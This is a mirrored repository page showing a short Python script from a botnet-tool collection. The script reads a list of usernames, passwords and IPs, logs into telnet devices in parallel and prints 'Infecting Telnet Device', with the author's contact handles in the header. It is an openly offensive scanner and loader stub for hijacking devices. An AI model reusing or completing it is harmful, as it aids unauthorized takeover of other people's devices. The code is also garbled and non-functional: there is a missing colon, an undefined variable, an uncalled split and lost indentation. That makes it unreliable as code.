6
0
mirror of https://github.com/threatland/TL-BOTS synced 2024-06-20 22:09:50 +00:00
TL-BOTS/TL.EXPLOIT_SCAN/SCANNER.Telnet/telnetv2.438185.py
2019-10-02 16:41:26 -04:00

32 lines
806 B
Python

#!/usr/bin/python
#Skype: b1narythag0d
#XMPP: b1nary@nigge.rs
#Made Date: 8-5-16
#Title: telnet.py
import sys, re, os, telnetlib, getpass
from multiprocessing import Process
cmd=""
r34d = open(str(sys.argv[1]), 'a+')
def w0rk(username, password,ip)
try:
port = 23
telnet = telnetlib.Telnet()
telnet.open(ip, port = port, username=username, password=password, timeout=3)
print "Infecting Telnet Device: " +ip+"\n"
telnet.read_until("login: ")
telnet.write(username + "\n")
if password:
telnet.read_until("Password: ")
tn.write(password+ "\n")
telnet.close()
for line in r34d:
ip_info = line.split
god = Process(target=w0rk, args=(ip_info[0],ip_info[1],ip_info[2],))
god.start()
username=ip_info[0]
password=ip_info[1]
ip=ip_info[2]
god.join()